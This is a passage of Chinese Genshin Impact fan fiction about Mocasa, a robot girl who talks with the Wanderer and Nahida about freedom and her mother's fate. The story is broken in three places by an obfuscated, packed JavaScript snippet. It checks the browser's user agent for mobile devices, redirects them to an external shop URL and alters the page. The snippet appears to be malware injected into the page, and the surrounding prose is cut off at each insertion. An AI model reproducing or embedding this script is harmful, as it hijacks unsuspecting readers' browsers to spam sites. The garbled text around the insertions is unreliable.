“不用,”我盯着他被染黑一瞬的嘴巴,决定第一时间解决遗留问题,“阿帽很喜欢喝咖啡吗?尤其是这种非常苦的。” 他斜睨我一眼,目光中带着点锐利:“…想害我?用你的铁疙瘩脑袋好好想想,下毒对我管不管用。” “阿帽你说什么呢,我只是在问你的口味。” 我及时停住话头——毕竟大耳朵先生叮嘱过,惊喜要保留惊的要素,不能直白的问本人。 他不以为意,依旧不接茬:“你倒是悠闲,还有闲工夫关注这些鸡毛蒜皮的事。” “关于阿帽的事不能说是鸡毛蒜皮,很重要,”我在胸前比个叉表示反对,又把话题拉回来,“所以阿帽很喜欢苦咖啡?” “……”他挑着眉毛,细细打量我一番。 “?” 这是在做什么?在猜测我的目的吗?这可不能被看出来。 我露出营业微笑面对他。 “:-D” “…笑得真恶心,”他眼角微抽,无语地移开视线,指尖轻敲杯沿,“还行吧,勉强入口,怎么?你想尝尝?” “确实想,”我点点头,拒绝他的提议,“但我尝不出味道。” “…哼。” 他不说话了。 我默默在对面进行信息汇总,周围往来的人群熙熙攘攘,与此处的寂静对比鲜明。 阿帽一直是个安静的人呢。 “不会觉得寂寞吗?” 反应过来时已经开口,再怎么也无法收回,我索性继续补充:“阿帽一直独来独往,听课也不喜欢挨着别人坐,总是喜欢在无人的地方躲着…这样不会觉得寂寞吗?” 刚送到嘴边的杯子顿住,轻声放回桌面,他审视着我,嘴唇紧抿。 气氛不太对。 我左右看看,小心翼翼地趴在桌子上,仰起脸望他:“…我说错话了吗?” 阿帽仍然不回答,沉默的看着我,眸子始终紧盯着我,随着我的动作而移动。 我默默将手盖在头顶。 “…少在那里随意揣测我。” 声音声音压得很低,甚至带着些咬牙切齿,他看起来并不愉快——根据情绪判断法…甚至有些被冒犯到的愤怒。 “对不起,”我乖巧地坐坐直身子道歉,“如果我问出什么不合适问题,阿帽直接说出来、直接批评我也可以。” “…啧,”他向后一靠,收敛周身的气场,用咖啡杯遮住下半张脸。 我保持着端坐的姿势,等他开口。 但他只是用杯子挡着脸,目光越过杯沿投向其他地方,就是不看我,咖啡残留的热气飘起,朦胧了他绀青色的眼眸。 沉默蔓延了许久。 就在我开始思考要不要再次主动打破寂静时,他忽然开口了,声音闷在杯子后面,有些含糊:“……你刚才说,找了我好几天?” “是的,”我点点头,掰着手指数着地名,“上次去的无郁稠林、道成林、天水丛林、降诸魔山,连二净甸我都去过,那么多人烟稀少的地方都找不到你。” “你就没想过我在须弥城?” “…哎?” 我一愣,须弥城?可这里每天都是来来往往的人群,算不上是安静的地方。 “可是,阿帽不是很讨厌聒噪的地方,喜欢在野外躲个清静吗?” 他闻言,指尖在杯沿上顿了顿。 “我又不是什么必须出没在森林里的野兽,更何况…”他呢喃几句,终于露出杯子后的脸,“要是我不愿意出来,就凭你也能找到我?想都别想。” “可是,”我斟酌着开口,“阿帽不是出现了吗?” 他愣了一下。 “就在我面前,”我指了指我们之间的桌子,“被我找到了。” …… “啧。你以为是谁给我增加了额外的工作量…道理是死的,人是活的,又过了这么久你还是不知道变通。” “真是个笨蛋,”他毫不掩饰自己的嘲笑,把空杯往桌上一搁,指尖轻轻推着杯沿打转,“头脑简单。” cpu持续消化着新的讯息。 我确实将「阿帽会在的地方」同「荒无人烟的地方」划上了等号,这是我的不严谨和先入为主。 我点头承认错误:“确实是我的问题。” 但出于严谨的态度,我纠正了他对我使用「头脑简单」这个词的谬误。 “不过严格意义上来说,我没有大脑,”我认真地看着他,“硬要说的话,我的芯片就相当于人类意义上的大脑,也可以说是心脏,母亲做芯片的时候可不简单,这对我来说可是最复杂的硬件…如果芯片毁掉了,我的一切也就不存在了,类似所谓的…灵魂的消亡?” “啧…”阿帽又露出了那种恶狠狠的表情,像是想要反驳又不知从何说起。 “唉,我又说错话了吗?” “行了,我还有要事去做,”他站起身,压下帽檐,“没事别去到处找我,省的白费功夫还要向我抱怨。” 说完,他连一个眼神都没给我便转身离开。 直到他的背影消失在拐角,我才放心露出疑惑的表情。 总觉得像是在逃跑呢。 这个念头刚冒出来,我又回过神来——我的问题好像又被他转移走,敷衍过去了。 —— 趁着线索新鲜热乎,我就近前去拜访料理兴趣小组,上次那位热情的学者正好在公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297247|198587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寓中,刚碰面就给我一个大大的拥抱。 “摩可沙上午好,好几天不见了,有没有长高?”她推着我进门,直接把我按到餐桌前,“正好我刚研究了新口味的水果塔,来做我的实验小白鼠吧。” 来不及拒绝,淋着橙黄色果酱的奶油水果塔就已经被摆在面前,单从视觉上说,确实非常诱人… 可我也只能从「色香味」中的「色」来给她建议。 不想让新交的朋友扫兴,但我也确实不能隐瞒自己无法给出有参考性建议的事实。 “其实我…味觉不太好,尝不出来什么特别的味道,”我纠结着开口,告知她我确实帮不上什么忙。 本以为她会失望,却没想到她只是怔愣片刻,又一次抱住我:“没关系的摩可沙,只要我还是兴趣小组的组长,这里永远欢迎你,无论如,你都可以来吃小甜点,所以不用自责。” …好暖和的拥抱,就像阳光那样。 她摸摸我的头,笑着问我:“一直是我在自说自话呢,来这里是有什么事吗,摩可沙。” “有一个好消息,”有些留恋拥抱的温暖,我点点头,“我找到阿帽了,他很喜欢喝普斯帕咖啡馆的深烘特调。” “深烘特调…?”她抱臂思考一会,僵硬地、一顿一顿地将头转向我。 “你是说…那个…号称史上最苦的咖啡??我的天,上次卢克控制不住自己的好奇心去尝试了一下,回来以后抢了我整整三个小蛋糕!全糖的那种!” 她好像变成黑白色了。 而我却在想…“要做深烘特调生日蛋糕吗?” “不…摩可沙,不行,那种东西根本做不出奶油,没有糖的奶油怎么能全是奶油,我是不会用植物奶油做蛋糕的…这是我的原则…” 在她蹲在角落碎碎念着什么时,我注意到一旁的甜品食谱,取来翻了翻。琳琅满目的甜品在脑海中被列成表格,再筛选出咖啡相关的条目… “那咖啡果冻呢?”我竖起食谱,将占满整页的示例图展示给她看。 “咖啡果冻?”她从角落中猛的回头,三两步扑到桌前,双眼放光,“你说得对,我们可以做一些其他的咖啡甜点——外加一个生日蛋糕。” “就这么决定了,”她直接拍板,将有关咖啡的食谱放置在桌面上,撸起袖子准备开工。 “我会通知其他人的,你放心做自己的事就好,提供情报已经帮了大忙了…”她冲我挥挥手,又指向桌面,“啊对了,把我的水果塔吃完再走哦。” “…可以打包吗?” “当然可以亲爱的~” 告别燃起斗志的她,我提着甜点站在须弥城街道上,有些茫然。 有人抱着刚采购的食材小跑回家,有人三五成群说说笑笑地往大巴扎的方向去,有人倚在路边的阴凉处翻着刚借来的书——每一个人看起来都知道自己接下来要去哪里、要做什么。 我完成了寻找阿帽这件事。 然后呢? 在以前有固定课题推动着我,去各种地方,做各种事,现在突然没有发放指令的对象…或者说,没有那个必须完成的「任务」了。 好不习惯。 现在的我确实比之前要自由,但这就是自由吗?所有选项都摆在眼前,反而不知道该选择哪一个。 自己做决定吗…也许不是一下子就能学会的事。 哎,前路漫漫啊。 16. 禁止逃避现实 硬要做出选择的话,倒是能够以草莓塔为起点。对一份精心制作的甜点来说,如果由尝不出味道的我来吃掉,实在太浪费了。 可又要送给谁呢? 我望向天空,雨林的太阳虽不及沙漠那般毒辣,却也不遑多让。 在这样的高温和暴晒下,奶油和水果一定存放不了多久,那么一位距离近的朋友是最优选择… 纳西妲? 一直承蒙关照,还从未正式表达过谢意,在人类社会中,传道解惑的老师是理应被敬重的,这也许是一个很好的机会。 而且,待在草神大人身边总会让我感到平静又舒适。 我应该可以有这些私心吧? 再次来到须弥城大树的顶层,正好撞见从别处回来的纳西妲,她正垂眸思考着什么,注意到我时才投来目光。 “下午好,摩可沙。” “下午好,草神大人,”跟在她身后走进净善宫,我提起手中的包装盒示意,“给您的草莓塔,是我朋友做的。” “是送给我的礼物吗,我很喜欢甜食呢,”她眨眨眼睛,看到甜品时眼神一亮,“谢谢你,这次来还有什么疑问的吗?” “暂时没有,只是来道谢,以及…”我将盒子递到她手中,犹豫几番才开口,“现在比较闲。” 她挑了一下眉毛:“我想想…是失去方向了?” 被拉着坐在石床边缘,我没忍住摸摸后脑勺:“草神大人真是什么都知道。” “这是当然,”她侧头看向我,露出一个wink,“是不是还没去看笔记本?不然你也不会…咳,迷失方向。” 我点点头,移开视线,注视着地板上缝隙。 纳西妲似乎放下了甜点的小碟子。 “并不是在责备你,摩可沙,面对未知感到害怕再正常不过,重要的是——” 她顿了顿,目光柔和地落在我身上。 “你不能一直逃避下去。” 逃避。 这个词在我口中转了一圈,最终没能发出声音。 我张了张嘴,想说自己没有逃避——我只是不知道该怎么面对,不知道从何下手,不知道那些被我搁置的问题该用什么样的顺序去拆解。 我已经积攒了太多疑问,如此多的方向,每一个都指向「母亲」。 尽管我始终在想着母亲何时回来,期待她在家里等着我,但了解地越多,越产生一种不敢面对结果的冲动。 我害怕结果并不是最好的…或许不应该说是最好的,而是我最希望的。 阳光透过彩窗撒下,斑驳的影子点缀在地板上。 纳西妲没有说话,只是安静地等待我思考。 这种安静和阿帽不一样。 阿帽的安静像一堵墙,把他的情绪和思想都挡在后面,只留下一扇紧闭的窗户,而纳西妲的安静却像一片湖,大方又坦然地展示着,仿佛能够容纳我所有的声音和想法,就算我想要任由自己沉没,她也会托举我的身体使我浮起。 “我没想逃避的,我只是觉得自己好像没那么想知道母亲的事了。” 我隐约能听见自己的声音在空旷的大厅中回荡,像是在说服她,又像在说服自己:“我可以更自由的选择自己想做的事。” 纳西妲罕见地皱起眉:“「自由」是对你的祝福,而不是你用来逃避真相的理由。” “但如果只是以这种想法来填满所有的时间,让自己不去想那些真正重要的事——这就是在逃避现实,摩可沙,”她声音依然轻柔,但也包含不容置疑的力度,“好好思考自己内心深处的想法…你还有容错的时间,但没你想象中那么多。” …… 倾诉欲再一次占据上风。 “纳西妲,我不敢去看日记,不敢去找发现神之眼的地方,我怕母亲就像文学作品中描写的那样,厌恶我、抛弃我、想要摆脱我…” 我低下头,声音越来越轻:“万一母亲不想让我去找她呢?” 总有些时候,这种让人感到压抑的想法会萦绕着我,让我逐渐失去迈步的勇气。 手又一次被握住。 我听到纳西妲不带任何倾向的提问:“那么,你觉得玛塔拉是这样的人吗?” “不是,”发声比想法要更快,我甚至因为自己的果断而惊讶。 “你已经有答案了,对吗?” 她终于再次露出笑容,伸手顺顺我的刘海。 “所以,你又在害怕什么呢。” …真不愧是须弥的智慧之神。 我搅动手指,终于下定决心:“我会去看的,就在明天…不,今天晚上。” “不要把自己逼得太紧,”这次她将手抬得更高,直到能够轻拍我的头顶,“走出第一步就是好的开始。” 我感受不到她的手,但能从头发的变化中分析出她的动作。 她的掌心也许是温暖的,就像每一次谈心时她所说的、用来引导和鼓励的话那样温暖。 我下意识想蹭蹭那只手——就像道成林的小动物会做的那样——但忍住了。 “嗯。” 我点点头,把这份宝贵的经历存进数据库。 纳西妲收回手,目光却还停留在我身上,像是在观察什么有趣的事物,我安静地坐在原地,默默被她研究。 她忽然长长地叹了一口气。 她依然看着我,语气中带着从未出现过的无奈:“有时候就会觉得,我是不是判断失误了?” “哎?”我歪头,“草神大人也会有这样质疑自己的时候吗?” 她听到我的提问情不自禁笑出声:“当然,寻找真理的路上,出现谬误和曲折并不奇怪,你总是能够带来新的枝丫…摩可沙你,不像是完全的机械生命呢。” “情绪更丰富,思想更多元,也更能适应环境,”她凑近了些,笑盈盈地与我对视,“这与我所知的其他机械生命有很大区别,但我仍未从其他地方找到与你更接近的生物。” 其他机械生命? “草神大人还认识其他…我的同类?” “没错,他叫卡卡塔,现在在禅那园里生活,是提纳里在照顾他,”她思考着,用元素力在指尖勾勒出灯泡,“如果你想认识一下,可以去化城郭找那位巡林官问一问,长着一双显眼大耳朵的那位。” 确实对这位真正意义上的同类感到好奇,但我还是摇了摇头。 “如果以后有机会的话,我会去的…不过,对现在的我来说,第一件事是查清楚关于母亲的事。” “我相信你,也相信你的同伴…”纳西妲突然顿住,望向大门时勾起嘴角,似乎早已知晓来者是谁,“说到谁谁就出现了呢。” 我的同伴? 难道… 大门被推得很开,熟悉的身影侧身进入,随后抬起头,目光穿过空旷的走廊,精准落在我身上 。 “阿帽!”我跳起来向他挥手,没想到刚离开不久的他会来净善宫。 他看见我的动作,嘴角微不可察地抽了抽,但还是迈步朝这边走来,步伐不快,却带着笃定。 纳西妲站起身,端起已经空了的甜点碟:“你们聊,我还有些事要处理,”她将目光放在我身上,眉眼弯弯,“摩可沙,记住自己定下的目标哦。” 她朝阿帽打个招呼后,从侧门离开了。 大厅里一下子安静下来,只剩下我和阿帽面对面站着,阳光从高处的窗棂倾泻而下,在地面上投下一格格光影。 “阿帽怎么来了?”我背着手凑过去,好奇地盯着他看。 他没有立刻回答,只是垂下眼,目光在我脸上停了一瞬,然后移开,落在我身后某个地方。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297248|198587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “…路过。” “路过?”我歪了歪头,“净善宫又不是在大路边上,怎么会路过啦…” “没人说过你问题很多吗,”他打断我,语气里带着熟悉的嫌弃。 我注意到他的视线平移出去,收回,再次扫过我,瞳孔微不可察地抖了抖,只是一点点,也许是被彩窗下的光照影响,我的视觉模块出了点问题。 不等我多想,他突然开口打断我的分析进程:“有地方要去。” “诶?” “不是要查你母亲的事?”他转过身,朝门口走去,走了两步又停下来,侧过脸看我,“愣着干什么,跟上。” 迈步跟上去的同时,脑子里飞速处理着刚刚接收到的信息。 他要带我去哪里?去查母亲的事? “不是说,”我模仿着他当时地语气和表情,“「没事别到处找我」,吗?” “…啧,”他没回答,只是轻啧一声,脚步停顿后走的更快,看起来懒得理我。 我将这几天阿帽的行动和话中的信息综合到一起,整合推断他这些天忙碌的事…询问母亲的名字、须弥城、额外工作量—— “难道阿帽最近忙得不见踪影是在寻找我母亲的线索吗?” 他听到这个提问,总算侧头撇我一眼。 “被我提到这么多次,才发现?”他拖长了音调,恶劣地扬起嘴角,“你个——笨、蛋。” 我盯着他,认真的叫他的名字。 “阿帽。” “…嗯?憋了这么久,终于打算好好「报答」我了?”他注意到我的一本正经,放下嘴角,正面看向我,“我倒是好奇,你会怎么反击。” “谢谢你。” 他一怔,停在原地。 林间的风吹起他的飘带向前,身后的落日为他镀上一层暖金色。 “你…”他欲言又止,最终抬手压低帽檐遮住上半张脸。 听到他提起报答的字眼,我心中了然,孵化园许下承诺:“我会好好报答阿帽的,如果有什么我能帮到你的,在所不辞。” “…别学到什么新词就乱用,”他的声音闷在帽子后面,“这世上可没有后悔药。” “不会后悔的,”我迅速凑到他身侧,“就算没有许下承诺,我也会因为自己的意志而选择帮助你——” 我想要给他一个拥抱:“毕竟我们是同伴啊。” 双手扑了个空,他迅速闪身躲开:“谁是你的同伴…” “草神大人说的,你是我的同伴。” “哼,谁说都没用,我可没承认。” “如果同伴不可以,那我可以成为阿帽的朋友了吗?” “……”他一只手推开我的脸,额角青筋直跳,“怎么这么多话,好好赶路。” 好不反抗地被他推开,我露在外面的嘴巴一张一合:“阿帽你又转移话题…不过,我们要去哪儿?” 他松开手,神色奇怪,犹豫半天只说出来没有营养的笼统范围:“…森林里。” 我茫然地眨眨眼:“什么地方?须弥到处是森林。” “去了不就知道了。” “那…离降诸魔山远不远?” “……” “阿帽?” 他一口气没上来,咬牙切齿:“再问你就自己去。” “那可不行,我不知道目的地在哪,不过…”我斟酌一下,决定直接说出自己的决定,“我得先回家一趟,草神大人让我看一下母亲的笔记本。” “…不早说,”他猛吸一口气,压着眉毛原地转身,径直向着降诸魔山的方向迈步,“这几天你就没找到空闲时间去看看?大忙人?” “因为前几天不敢看,”小跑跟上他突然加快的脚步,我坦荡荡说出真实情况。 他轻哼一声,却也没有细问。 17. 禁止拐弯抹角 尽管阿帽脚程快,但没有坏零件拖后腿的我很轻松便可以跟上他。 原本沉默地一心一意赶路的他,在我各式各样五花八门问题的淹没下,也会时不时简单回复几个。 只是无论怎么直白的点明、亦或是旁敲侧击,他始终不愿意说出原本的目的地到底在哪里,要么敷衍过去,要么就直接闭口不言。 不懂为什么他如此守口如瓶。 在经过更全面的分析后,我想到一个同样与母亲相关的地方。 摸出身上赛诺给的编码牌,将背面的地址展示给他,我带着期许发问:“是这里吗?” 他双手抱胸,眯起眼借着落日余晖辨别上面的两行小字,手指敲击着自己的手臂:“你去过了?” 我摇头。 “在那附近,”他视线放到我身上,又划向我始终随身携带的金属盒子,“哪来的?” 将赛诺带我进入储藏室的经历简单复述后,我打开盒子把灰色的神之眼显示出来。 阿帽下意识将手放在心口,沉吟片刻又放下。 我捏起同样款式的神之眼,对准刚从山林间升起一半的月亮,灰蒙蒙的半透明球体挡住了大半月光,就像混在溪水中的浑浊泥沙。 “那你应该已经知道结果了,”他锐利的双眼直勾勾盯住我,嘴唇紧抿着。 “结果?”我茫然的与他对视,“什么结果…目的地吗?” “在装傻?平时不是很喜欢研究书中的人类行为。” 他靠近我,压低身子使我没办法挪开视线,见我完全没有闪躲和心虚后又后撤一步:“还没推测出来你母亲为什么离开?你引以为傲的分析模块终于转不动了?” 听着他的质疑,我只觉得疑惑…我的分析模块运转正常,可我也无法通过现有信息推测出母亲的去处。 经过这番交流,我们停在了林间小道上。 我站在原地低着头,再次解析一遍所有线索,依旧没能得到答案。 “没有装傻,”抬起头,我收缩摄像头,在沐浴月光的阿帽身上聚焦,“我是真的得不到结果。” “……”阿帽的手摸上下巴。 这是他深思时的习惯动作,我安静地等待他思考。 他完全背对着月亮,帽檐在身上打下一层阴影,衬得他眼眸发亮,然而绀青色宝石般的瞳孔被拧起的眉压住。 “命令。” …命令? 还来不及疑惑,意识瞬间中断,这两个字像密匙那般挤满我的大脑,眼前仿佛出现了大片红色感叹号,一种也许可以称之为头痛的感觉使我想要用手臂抱紧头颅。 但身体不听话。 “解除待机模式…”我发现身体自顾自的动起来,立正站在原地等待着指令,“您想要我怎么做?” 好像发生过类似的事。 “检索「死亡」,”阿帽神色冷淡,以命令的口吻低声说着陌生的句式。 “请稍等。” 我以自己的视角体会着这一切,却像个旁观者那样被隔着一层膜,随后我发现,在「我」检索的过程中,我也可以翻找数据库中的记录。 虽然信息流动的速度快得异常,但找到想要的东西对我来说并不困难。 我发现了在上次回家路上留下的记录:中病毒那般爬行的我和用「命令」制止一切的阿帽。 …在意识中断时,回话的那个「我」是谁? 与此同时,发生模块自顾自启动,吐出检索的结果:“结果:0条相关记录。” “果然…”视野中的阿帽依旧在思考,指尖敲击手臂,他一脸了然,随即再次开口,“检索「魔鳞病」。” “结果:52条相关记录,需要按顺序朗读内容吗?目前速度:中速。” 为什么阿帽会突然搜索这个已经灭绝的病症? 我一头雾水,在身体不收控制时只能无力地去翻看被隔离出来的信息…它们看起来并没有值得注意的东西,都是关于历史发展和症状的记录。 “增加关联条件,「玛塔拉」,”他停顿一瞬,再次补充一个词,“「母亲」。” “结果:0条相关记录。” “哼…删得这么仔细,还真是个幸运又不幸的家伙,”阿帽随手赶走趁他思考时降落在他肩膀上的团雀,视线盯着降诸魔山的方向,“进入待机模式。” “收到,即将进入待机模式。” 随着话音落下,对身体的掌控权回归,我忍不住原地扭动四肢。 总觉得身体和思想有点对不上号。 “突然间干什么,”他后撤一步抽动眼角,躲开我胡乱飞舞的四肢,“老实点。” “感觉大脑和四肢各过各的,”我停下所有动作,面无表情地盯着阿帽,最终还是没忍住做些奇怪的表情来寻找身体控制权的实感。 “…看来这次有记忆,”他侧过头盯着地面,满脸嫌弃,“刚刚发生的都知道?” 忙不迭地点头,我终于找回平时对人露出的表情。 “:)” “上次在山洞里发生的事我也都看过了…我才知道数据库里还有这段记录,”我翻阅着数据,看来另一个自己留下的记录会悄无声息地存储下来,只不过这一次我保持着清醒,能够以旁观者的身份体验。 阿帽再次发问,抛出一个新的词汇:“你清楚自己身体里的「信息茧房」吗?” “「信息茧房」?”默默分析这四个字,我犹豫地摇头。 “简单来说,玛塔拉在你的程序中添加了限制,使你无法记录下她编辑过的关键词目录,比如我刚刚问过的那些,”他用眼神示意我自己回忆才问过的词汇。 “母亲、玛塔拉、魔麟病和…”停顿在这,我茫然地眨眨眼睛,无措的看向他,“和、和什么?应该是四个词才对。” “死、亡,”他并不意外我卡壳,抬手调整有些下滑的帽檐,一字一顿提醒我:“是不是回忆不起,也说不出来。” 我试图模仿他的口型和发音,却发现这两个字仿佛逃离我的储存模块,完全留不下痕迹。 “还真是多此一举,说着什么自由却又设下限制…”说到一半他脸色一变,呢喃着什么东西,咬牙切齿,“啧,又被算计了。” 先不提所谓的算计是什么意思,面对侃侃而谈的他,我产生了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297249|198587||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更多也许不该有的情绪… “我好没用啊。” “自顾自埋怨自己做什么?”他瞥我一眼,烦躁地用脚尖点地,语气里是显而易见的嫌弃,“你不会以为就凭你就能够对抗…「基因」层面的限制吧,少自恋了。” 尽管拐弯抹角,但我能听出他话中的宽慰。 “谢谢你安慰我,只是…我还在这拧巴,阿帽就已经调查到好多东西了,比如魔鳞病,”我有些失落地低下头,扯扯衣角,“这和母亲有关系吗?” 我的信息库就同检索结果一样,没有任何关联信息。 “…谁安慰你了。” 他轻啧一声,随意揉乱脑后的头发。 “那我就直说了,”他靠近,强迫我与他对视,让我没有任何躲闪的机会,“玛塔拉早些时候因为魔鳞病离世,我们的目的地是墓地,你母亲的墓地。” “…?” 他紧盯我的眼睛,等待好一会都没有动作。 我该做出什么反应吗? 可是,他又说出了我无法接收的词语。 “……”想了想,我把瞳孔换成两个问号。 “果然听不懂,”他抽抽嘴角,轻轻掐住我的脸颊,左右晃了晃,“你还真是个麻烦的家伙。” “阿帽又在说一些我无法理解的话了,”视线随着脑袋的摇晃而改变,我眨眨眼睛再次聚焦到面前人的脸上。 他松开手,但依旧保持着极近的距离注视我,神色从那种无奈转变为严肃:“那么我问你,你想听懂吗?” “为什么这么问?这是我说想就可以做到的吗?” “少废话,你只需要回答我的问题。” 尽管语气不善,但他眼底却没有不耐烦,只是等待着我的答案。 想要听懂他的话吗?答案当然是想,毕竟关乎母亲的下落…但那种对未知的恐惧又一次浮现出来。 幸好,现在的我已经不会再因为害怕而踌躇不前了。 “想,”我握住他尚未放下的手,认真而又坚定的重复自己的答案,“我想听懂阿帽的话,听懂关于母亲的事,听懂关于刚刚检索过的那个词、和这个新词的事。” “哼…还算有勇气,”他难得勾起嘴角,不再是那种恶作剧般的坏笑,而是一个含有认可和满意的笑容,“以及…” 他扯扯动不了的手臂,嘴角再次变为平直,“放开我。” 乖乖听话松开,我背着手抬起头,用崇拜到变成星星的眼睛望着他。 “阿帽终于夸奖我了。” “谁夸…啧,把你的屏幕变回去。” 遗憾的换回正常瞳孔,我还沉浸在好不容易得到「来自阿帽的夸奖」的喜悦中。 “傻笑什么,正事还没做多少就开始膨胀,”他望向月亮,似乎在判断时间,“行了,耽搁这么久,后面的路程我可不会等你。” 他率先迈步,留给我一个背影:“你最好不要让我在你家门口等太久。” “当然,”我不知第几次小跑着到他身侧,“我会跟紧你的——” “无论你走多快。” 他侧头,轻哼:“真会说大话。” 18.禁止三番五次 阿帽说到做到,一时不察便消失在视野范围外,我在曲折的回家路上左顾右盼,怎么也找不到他。回想起那句「别让我等太久」,我还是提高速度赶路,抵达山洞最深处才看到靠在墙壁上的人影。 抬起铁板时他突然低声抱怨一句。 “真慢。” 侧身等待他走进通往地下的楼梯,我打开探照灯的同时询问道:“阿帽是抄近道了?比我快好多。” 他停顿一瞬,只是瞥一眼我便继续借助光芒继续下楼。 “每次基本上都要到午夜才能到家,我也想减少一些通勤时间呢,”翻翻记录,正常情况下结束一天的学习生活后,穿过小半个雨林回家实在是耽搁时间,更何况山洞内的路程也算不上短。 “那还真是辛苦,”他语气凉凉,顺手调整岩壁上的照明灯,示意我关上身体上的移动光源,“放心吧,很快你想绕路都绕不动了。” “哎?什么意思?”茫然地关上灯,我像小鸡跟着妈妈那样走在他身后,同时还伸长脖子看着他面前的路。 “…想散架可以直说,用不着拐弯抹角,”他侧身把我的脑袋塞回去,最后一段下行干脆两步并作一步快速抵达最底层。 “才不想散架,枫丹进口部件都好贵,尤其是那些特殊的精密零件…多莉老板可真能宰客,”计算自己的存款,我还是决定以后对自己小心一点,“咖啡馆的打工现在正好能维持收支稳定,可不能再出什么差错。” 想起新学的的动作,我抬手摸摸自己的头顶:“好孩子,我会好好保护你的。” “……”阿帽仰着头看完全程,抽动眼角吐槽,“少看些奇怪的东西。” “阿帽的眼角又开始抽搐了,”快步抵达家门口,我贴近他想要仔细查看,“上次就因为嗓子提醒过你,不能讳疾忌医啊。” “……” “阿帽?” “开、你、的、锁。” 看这咬牙切齿的样子,根据情绪判断法分析,他正处于愤怒状态。 不太懂他为什么会因为我的关心而感到愤怒,我乖乖用秘钥打开门,第一时间回身做出邀请动作,然后目光炯炯的盯着他。 他在原地双手抱胸,略微俯视我,迟迟没有动身。 思索两秒,我补上句—— “您请。” 阿帽胸脯剧烈起伏一下,随后长叹一口气,一言不发地迈入实验室。 看起来消气了…吧? 有些不太确定,我把随机变化亮度,用来模拟目光闪烁的功能关闭,紧跟其后走进大门。 实验室与上次离开时一样,唯一的变化大概就是灰尘多了些。 直奔书架,我借助梯子取下最上面的箱子,这一切顺顺利利,但面对上面的锁我却犯了难…尝试储存的所有密钥后都打不开。 可这把锁确实也是母亲常用的样式。 再次扫描整个机械锁,我没有发现任何类似锁孔的结构,只有一个用于识别的摄像头。 也就是说…想打开它要用到额外的秘钥。 “怎么?一筹莫展了?”阿帽的声音从身后响起。 他看起来刚从试验台过来,在我研究铁盒子时翻出来不少工具,将它们整齐码放在台面上,连红色绒布也已经铺好。 “我没有对应的密码,”晃晃手中的盒子,能听到里面书本上下撞击的动静…似乎还有笔记本之外的东西存在。 闻言,他眯起眼睛,掂了掂手中熟悉的小扳手,思考着什么。 片刻后,他转身前往仓库区,取出一个小些的盒子,样式同我手里的一模一样。 “试试这个,”他远远将盒子抛过来。 连忙放下手中的东西,我后退一步接住,正巧看到盒子正面贴着的便签,它有些发黄,边缘有不规则的破损,有些褪色的笔记写着「芯片04」。 04?记录中的库存汇总表应该有对应的解释…嗯? 钥匙。 对上号了。 打开盒子取出芯片的同时,我在数据库中搜索母亲留下的使用方法:只要将芯片植入大脑内部对应的位置,便可以自动读取。 只是这个过程需要休眠状态下进行,无法自己单独完成。 我把目光投向阿帽,简单解释这件事。 “…哼,原本也是要给你来场「手术」,这下倒是可以一举两得,”他顺便将我休眠用的机器从仓库搬到试验台,准备好一切后瞥我一眼,又不经意地移开视线,“当然,前提是…不怕我偷偷给你的程序中加点料。” “阿帽愿意帮我再好不过,不然我都没什么其他人选了,”乐颠颠捧着芯片跑过去,我小心翼翼地将它放进桌面上的托盘中。 等到我坐上绒布床,回头一看,他还站在原地没有动作。 “怎么了?还有没准备好的东西吗,我来帮你找,”说完我正打算跳下床,就被伸到面前的手臂阻止。 他没有第一时间开口,保持着动作审视着我。 被他堵在床沿,我默默收回已经伸出去的右腿,给他让出足够的空间…也给他了得寸进尺的机会。 阿帽向前一步,整个人俯下身压迫着我向后撤,宽大的帽檐就在头顶,遮住了天花板上吊灯的光芒,阴影在我们中间的狭小空隙中展开。 “你可想清楚了?” “哎?” 他压低的声音不至于听不清,但我依旧听不懂他话中所指的是什么。 “……” 他看上去并不意外我会以疑惑作为回应,耐着心思解释起来:“想清楚选择由我来操刀,而不去找其他你更信任的人,想清楚将自己最大的弱点毫不设防地暴露在我面前,想清楚就此摘除你母亲给你留下的限制直面你从未思考过得事情。” 听完他的陈述,我却更加疑惑…这些不都是已经决定好的事吗,怎么会再问一次呢。 刚想要点头,脑袋差点撞上阿帽的额头,第一时间控制住后才开口:“想清楚了。” 是不是太近了,行动不太方便…悄悄挪动背后的手指,我发现如果他不让出一点空隙的话,我很难改变动作。 听完我确定的回答,阿帽反而凑得更近,眉毛紧紧皱起。 “你到底知不知道,你母亲设下的底层逻辑可以限制你的信息接收,那就更能够做出更多过火的事,”他语气中带上些微妙的怒气,还有点恨铁不成钢的意味,“只要更改你芯片中的信息,无论是 